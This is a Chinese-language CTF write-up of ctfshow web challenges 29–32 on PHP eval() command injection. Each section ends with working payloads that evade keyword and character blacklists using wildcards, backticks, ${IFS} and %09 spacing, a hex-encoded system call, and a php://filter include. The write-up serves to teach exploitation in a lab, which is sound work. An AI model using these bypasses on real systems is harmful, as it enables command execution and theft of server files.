目录
web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
if(!preg_match("/flag/i", $c)){
在这一段代码,我们知道只过滤掉了flag而且不区分大小
所需知识点通配符
*可以匹配0或多个字符
?可以匹配任意一个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
所以在这flag可以用f*或f???替代
所以这个题的payload
?c=system("cat f*.php")
也可以用cp命令
?c=system('cp fla?.php 1.txt')
再补充一下,另外绕过可以用引号,反斜杠
flag=fl\ag=fl''ag
web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤掉了flag,system,php关键字
所需知识点反引号执行命令
因为过滤掉了system,我们就得选择其他的命令执行函数
最常用的无需echo
system()
passthru()
需用echo函数
反引号——``有system()的作用
exec()
shell_exec()
所以这个题的payload
?c=echo `cat f*`;
web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个题增加了一些过了,比较重要的cat和空格过滤掉了
cat过滤时,可以替代绕过的姿势
1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器
空格过滤时,可以替代绕过的姿势
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
所以这个题的payload
?c=echo(`more%09f*`);
再附上大佬们的payload
?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echo`strings%09f*`;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。这个学到了!
然后另一个payload是hint,我感觉我是看不大懂原理,先放上,后期再学习
payload2
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤掉了好多大小
; ( echo ' `
payload
首先分号可以用?>代替,括号可以用“”绕过,利用文件包含的方式
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
当然这里include也可换require
web33
<?php